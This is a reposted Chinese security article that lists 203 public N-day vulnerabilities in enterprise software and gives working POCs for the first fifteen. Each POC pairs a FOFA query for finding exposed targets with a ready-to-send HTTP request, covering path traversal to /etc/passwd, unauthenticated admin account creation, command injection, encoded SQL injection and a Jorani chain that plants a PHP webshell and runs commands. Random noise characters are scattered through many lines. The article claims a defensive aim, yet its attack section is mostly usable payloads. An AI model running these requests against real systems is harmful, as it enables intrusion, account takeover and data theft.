互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
+ U* ]# N0 M6 }2 t以下文章来源于网络安全新视界 ，作者网络安全新视界

* m) ^% s. t3 z+ b# N发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
6 t( t  T( X  C# {$ ?2 ^
# c# c1 @8 n/ o  a, f8 `漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
; p7 K8 r% I$ y
9 q) `: R0 k# b2 {4 ^4 T安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
' V/ e/ X. Z& i. [5 U
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

- S6 |5 i" w* J! h5 Q- \合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
' ^- g4 w* [; i8 x  x2 l. ^/ f$ I
( O2 t2 t+ B; ]4 `' {
声明

( V7 I0 s5 c& J  E, H5 n& C为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
' X+ [3 f1 ?7 B1 i' f. q3 m3 p
: P* Y) v6 Z$ L$ }有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
; c1 i( S3 V& ?9 Q, G


目录
( n( g3 J% S( l* I
  ~0 s  U! z, g. P1 G01

1. StarRocks MPP数据库未授权访问
$ p, h$ L* h9 |& Y0 f4 u9 i2 ]2. Casdoor系统static任意文件读取
' S# K" W( y$ k! ^3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
. J2 x0 B7 i+ N! E" D, ]( F2 d5. NUUO NVR 视频存储管理设备远程命令执行
+ Q( H5 p6 e- ^; Y* x6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
# P3 E5 }  d1 x# J0 L9. 稻壳CMS keyword 未授权SQL注入
% v0 m$ n9 p. ?10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
$ T/ |6 D0 m1 ^+ C8 B* U. H, |12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
0 R) m; F5 p8 `. l' ?/ p& V1 S16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
0 @3 Y( v+ u1 D3 m! x; S18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
# `/ K7 [) E0 @, i' B3 i21. 大华ICC智能物联综合管理平台random远程代码执行
+ P  h4 m/ y1 E2 e) s22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
" ^1 `1 f$ {4 n6 W2 R5 [. L0 c25. 用友NC registerServlet JNDI 远程代码执行
0 g4 x' N& j8 S) Y3 `26. 用友NC linkVoucher SQL注入
; w# b( H% e+ |) S4 f+ ]( H& S& |6 Q27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
# N# P0 M( l  k. ~+ ^! f8 _. G. |29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
" _" D" Z# n; i31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
& l! Q3 ~& `6 I  e5 L34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
6 D, h' H5 {$ Q; h39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
$ Q& H, M3 y8 Q( V! _41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
  a2 K0 `; W" [4 n. {9 J44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. X$ M- q9 x+ `) N9 {47. 用友GRP A++Cloud 政府财务云 任意文件读取
' x* s/ ^/ |1 C8 }; ]7 j48. 用友U8 CRM swfupload 任意文件上传
# d6 T- M1 N: W+ T# e& w' F49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
( f4 V2 A- b8 y4 s55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
" G4 _. a4 x( k8 F/ X57. 畅捷通T+ keyEdit.aspx SQL注入
  [* Y8 y1 p# c2 e( H8 Y& n+ G58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
% r% p# Z% s- b! I3 A60. 百卓Smart管理平台 importexport.php SQL注入
8 I% }( Z' h# K; P2 m" [61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
; g9 V! Z6 m, i* r62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
. B. B' x7 H% [7 B& Z70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
( ]0 o3 Y9 Q; F' ^  I; D0 i3 x/ x72. 致远OA getAjaxDataServlet XXE
& B/ A6 I8 ?' _$ W/ m1 ?73. GeoServer wms远程代码执行
9 }) Z9 X- z. H% r0 g: k; u74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
% m) W& V7 S( i6 W9 g, i76. 新开普掌上校园服务管理平台service.action远程命令执行
% E% P) G' L3 ^77. F22服装管理软件系统UploadHandler.ashx任意文件上传
. M& m: m1 V: u  i( d* Y% x( G78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
- t; S- g# k( S3 s- N' \; a$ d- G84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
# T3 `1 S5 U' N5 V9 k: R3 l86. 日本tosei自助洗衣机RCE
# j! Y- Y: [4 I87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
9 _* M2 ^6 v# V5 @0 I' Y91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
  n7 \- u3 l7 d$ {: @% ^92. 海康威视运行管理中心session命令执行
" }3 d! D4 S( O! `" _" V  U93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
3 d8 X" i# u. y/ r+ y; V94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
  R! W( L. ~0 L7 g" T7 r# Z* A97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
% v3 z/ p9 f" w/ q98. SpiderFlow爬虫平台远程命令执行
/ `5 O0 L  d. @99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
7 E6 G- p; D0 W$ V102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
  {9 E8 w1 V6 r104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
; n& q) }+ [2 Z" v" @: C2 _1 x* g) [2 Z105. SpringBlade v3.2.0 export-user SQL 注入
1 z7 W2 B% A; u6 {$ a106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
3 J0 B7 ^9 ]4 [. ]" r110. Goanywhere MFT 未授权创建管理员
2 K. E6 f1 n% f/ G111. WordPress Plugin HTML5 Video Player SQL注入
3 ?! e" ?6 V8 T& M+ z; m/ S) B112. WordPress Plugin NotificationX SQL 注入
( \" q* C( F# l113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
7 ]: {5 E0 b# A$ e8 l& A115. WordPress Bricks Builder <= 1.9.6 RCE
  ?5 ]( [  R; B$ h' H116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
6 F# _3 E+ d6 X" B( e) r, `5 E4 k121. 北京百绰智能S42管理平台userattestation.php任意文件上传
2 ^! h) }1 x! I( S9 S# y122. 北京百绰智能s200管理平台/importexport.php sql注入
+ j+ W. K, c6 b5 M/ [123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
- S' L0 G! V/ v: ^& L% N; p5 f+ G125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
* `+ D: k6 k- U0 A127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
/ F3 G2 T2 N# @8 Z- |3 R3 K- P132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
  \2 F5 i, u) G5 U( [4 A) K3 E133. H5 云商城 file.php 文件上传
6 \+ Y- _  ~( w" W7 N134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
0 Y( }3 i/ V0 K- h  d  l" [136. NextChat cors SSRF
! t4 ]' G6 W9 c+ x, K7 t137. 福建科立迅通信指挥调度平台down_file.php sql注入
( U2 A( d' z' J) Q# ?& h1 m138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
  c' g9 u: p' ~& T) E4 P; \7 Y139. 福建科立讯通信指挥调度平台editemedia.php sql注入
. k8 i! q: C  m( `* r140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
# ?( Y( j8 n6 n% S6 W# o1 R/ f141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
1 @5 J$ |8 E8 l' B' W" w144. D-Link nas_sharing.cgi 命令注入
# s4 p, t+ f: e. \) q0 C* L145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
# R5 c. U3 \9 ?: Q: b7 H6 Q146. MajorDoMo thumb.php 未授权远程代码执行
! L. S, _+ N( \$ N6 }& Z0 e/ i- C147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
+ V' l- O. a$ n. k" b% d149. AJ-Report开源数据大屏存在远程命令执行
3 i6 i' Z! }- z3 G150. AJ-Report 1.4.0 认证绕过与远程代码执行
/ k0 C) N5 \" p2 z% Y8 p! }151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
# H2 V5 G9 u' T4 \1 O153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
# {  z& `4 o2 M7 U156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
, F( u# a- _, n158. Mura-CMS-processAsyncObject存在SQL注入
" {8 C) \% l* m. P159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
" b) L# X$ K3 G- W  o5 _0 H162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
' m" ?8 o9 B2 q166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
0 Q' h5 |5 i3 ?- x6 E- z168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
3 }/ T/ H- \9 X+ @( c; d170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
1 [: c6 Y: C9 ^' d# c& i' V9 C172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
$ O3 f8 o2 ~0 Y. i* T8 y, o- u174. 金和OA C6 FileDownLoad.aspx 任意文件读取
8 c7 x0 l# G* L8 i1 ?4 p175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
/ w8 g& ^4 I# J0 z: v( c176. 电信网关配置管理系统 rewrite.php 文件上传
7 r% {5 U) M, a177. H3C路由器敏感信息泄露
9 k6 H, Y. a6 W178. H3C校园网自助服务系统-flexfileupload-任意文件上传
" H1 e$ J0 E. i179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
* ], _0 Y: B' r0 @182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
: t/ k, V2 E% o( X7 L184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
! ^% W1 a7 C# _, U  s) r% G6 p1 R7 X  C186. F-logic DataCube3 SQL注入
+ q  T' x" p- f1 P/ H187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
$ c9 R3 S+ |- R" b' K4 `( X190. 短视频矩阵营销系统 poihuoqu 任意文件读取
: N6 K) F+ ?& r! u3 c" P& C191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
. D6 o3 D+ c; r194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
4 F/ b5 j. R' T& B+ c/ H" O5 ~197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
; X1 t( ~; c1 q7 P4 w5 J198.  阿里云盘 WebDAV 命令注入
3 }( P2 `2 @% i199. cockpit系统assetsmanager_upload接口 文件上传
: p" n& F3 }1 x  x; Q: e  z200. SeaCMS海洋影视管理系统dmku SQL注入
4 j6 T5 t, E0 o; ^: T  U- R6 o1 {201. 方正全媒体新闻采编系统 binary SQL注入
# y: t$ f  Z. e202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
, H% P  g2 M& x- W/ P, o- s3 j
# A. Q( [  q$ |2 E* MPOC列表
( z% p+ {- Z4 ?" e
( B( h9 Z7 F7 y' p1 S& w- K; g+ p! Q02
  ?) y7 G4 i$ k6 Q6 c" E5 N0 Y* i
' C% J# B$ f; I1. StarRocks MPP数据库未授权访问
1 B! m. G  h: R- V3 tFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL
0 ?4 x, z2 }. g' Y7 T8 {' T
9 _* W; x8 H/ W: B* j
1 W9 y6 X: e8 L2 D2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
. _' b" T! g# S/ Y+ e. T8 \( FGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
8 [( |4 z: m5 k8 M. L; X
: m0 A1 a/ ~* Q, ]* R, x' x
3. EasyCVR智能边缘网关 userlist 信息泄漏
/ O# r0 C- {7 f' gFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
6 R* @6 [! f6 s2 Q" `  H# t& ?
8 b4 B; m( [1 J& O6 m. i: r
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

( }' `3 F9 }% Z% Zpassword更改为自己的密码md5
* S: g- [! A' @) D' WPOST /api/v1/adduser HTTP/1.1
/ k4 z4 u) U* L; n& a* z* GHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
2 B! z$ I4 A6 C& J9 O* ?3 t

5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
! v  n9 m6 j# L: @9 X( u8 k% Z1 bHost: xx.xx.xx.xx

7 g  @, b$ F! F
6. 深信服 NGAF 任意文件读取
" R9 \4 ]; \0 u" n0 ZFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
! ]% K$ I: R2 H1 h" o& N( _; sHost:

2 O1 h! x2 I: d; _" O3 U
7. 鸿运主动安全监控云平台任意文件下载
% o( R% M; |& p2 e% z1 `; ]FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
! T  T  N1 J. D( `; t# BHost:


& S+ g; s7 ^3 x8 Y, q8. 斐讯 Phicomm 路由器RCE
, G. c3 k. Z2 W5 h$ ZFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
( Q- Y. }5 u: m! y7 RPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
9 @- r9 K/ [" {! Q: @/ UHost: x.x.x.x
+ o* J9 Y7 _- z6 r& n+ ICookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# e6 w, @: u3 f2 l
$ ?; t4 N) T: F7 @- L------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
6 |0 P" [% J! Y1 o- L
%s
------WebKitFormBoundaryxbgjoytz
# H4 ?! g: A; \Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
% u  R0 |- V# E$ z# i1 }, P2 AContent-Disposition: form-data; name="wifiRebootendrange"

3 W* L- {5 S8 `2 @# M8 `/ Y+ m# s%s:
------WebKitFormBoundaryxbgjoytz
+ A- q# M" u4 O1 l6 C% SContent-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--
  D2 P. i- l: E5 E' B( |; ]* J5 N

+ o; ?8 W# ~2 o3 F; }9. 稻壳CMS keyword 未授权SQL注入
: N  g" E2 [, a- N: @. DFOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x


payload为下列语句的二次Url编码

2 _4 M' X0 G9 s# Z' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
- }) L/ D7 [9 F) Y
) I" s/ q( k; l' d, x" x10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
/ b& ?. z0 r+ H. F0 AFOFA：icon_hash="953405444"
+ }# t$ [2 I9 Z8 u
" M  Q, ?3 ?" J: b1 k文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
  [. W# V, s1 R6 X4 Y; \3 T: M  QHost: x.x.x.x:xx
1 O3 p% k6 Y/ N% n" J5 h) |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Length: 197
3 F1 v" q8 {' Q/ S/ @( IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* K9 c' m) `5 |1 c7 K' s# JContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

" ]% H8 h% Y; G0 m3 w------WebKitFormBoundaryxdgaqmqu
% ]% I& ~! n- Q( AContent-Disposition: form-data; name="file"filename="icfitnya.txt"
# \$ _+ H% K% P+ F5 A6 [; n0 W2 y( \Content-Type: text/html

jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
4 L( Y2 e% G6 ^5 v4 B

11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
- t) s; x, }9 @FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
: }# E8 Q1 K' M0 b% F1 fCache-Control: no-cache
6 u% ~2 e- T. N/ u, }6 j4 Y( GUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
2 a; T& ~9 L7 }' c4 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
* g; V/ _1 F" S7 |" ~1 yAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
$ Z  w" G6 f" d! b; E4 R) ?Connection: close
3 \4 z% p. Z& l( ^& u" h2 s4 I

12. Jorani < 1.0.2 远程命令执行
' b' |9 T6 x' E2 bFOFA：title="Jorani"
4 y" S) e$ w. g1 ~第一步先拿到cookie
GET /session/login HTTP/1.1
0 ~/ A4 o1 D+ j! q: b) {$ pHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
7 c# k8 O8 c3 g+ U0 ^2 {Connection: close
  a; u+ p1 b. S9 D( |8 B, {4 gAccept-Encoding: gzip
2 W3 N+ C* T$ d8 m; v8 q3 B

, y+ |% v* c" U; a+ u, A" p响应中csrf_cookie_jorani用于后续请求
: w+ A& c- a( D: pHTTP/1.1 200 OK
, e+ N9 o( I3 I% VConnection: close
Cache-Control: no-store, no-cache, must-revalidate
4 Q7 B; ]1 m; P1 V9 zContent-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
) L( a/ i) e  D. c$ q. n1 N9 RExpires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
+ U' M% X" [0 _! d( YServer: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
/ M2 D- {( o; T4 s. EVary: Accept-Encoding


) u9 s$ R+ F# g- k1 w1 APOST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
2 C9 @; z) L( X; N( B% fHost: 192.168.190.30
& u) l$ D( w+ cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 252
" E% n: s4 t2 J% ~5 b. iContent-Type: application/x-www-form-urlencoded
  l- n; l. c+ M' YCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
, R1 G6 }9 D- f0 w1 x! dAccept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

2 R3 ?5 Q# B: q+ @" _: m
; s9 N3 H. u* e
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
( i: q) U9 c; X& h1 q& D8 kHost: 192.168.190.30
! K+ L0 f! G! c  a% nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
5 `+ F$ w/ i8 O1 u, I6 NK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
5 o- D: y+ @/ \! I, F, RAccept-Encoding: gzip
! X8 Q5 z7 p/ `, k' w4 v/ a% S+ r

13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
. K6 u2 j6 h' v* @3 WGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
/ q( E6 T' w% p& ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
8 \. l0 O3 n( _5 F3 a% U) LConnection: close
Accept: */*
; e% j# @$ K  y. A4 F0 `7 M$ TAccept-Encoding: gzip

1 C' h  v+ l1 c) p
4 ~  \% e7 h" W/ n% H: ~) N14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
8 K7 B+ ?! m" P, {% G3 w5 {1 D5 h5 oConnection: close
Accept: */*
/ b2 d; ^( S% F, v  V% R* `: QAccept-Language: en
Accept-Encoding: gzip
; b) w7 b! H& ^! ~2 _$ [- j, P
# Y* ]  C  d! l* O- j& S  f5 i
15. 华夏ERP getAllList信息泄露
- e9 r" P. ^3 E( T  ?% c2 {CVE-2024-0490
FOFA：body="jshERP-boot"
! h* }" b& P. x& p* j' P' Z$ W. R泄露内容包括用户名密码
: q. P3 z6 s5 j9 OGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
; S, i, Z4 M2 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
( u. m# M4 S0 ?! u9 ?Accept-Language: en
+ b3 w& o0 Q7 ?% X- l: |sec-ch-ua-platform: Windows
- |6 N' m  b( X& I- Q7 YAccept-Encoding: gzip
/ b$ n$ Q: c. |: ]# N( g6 T

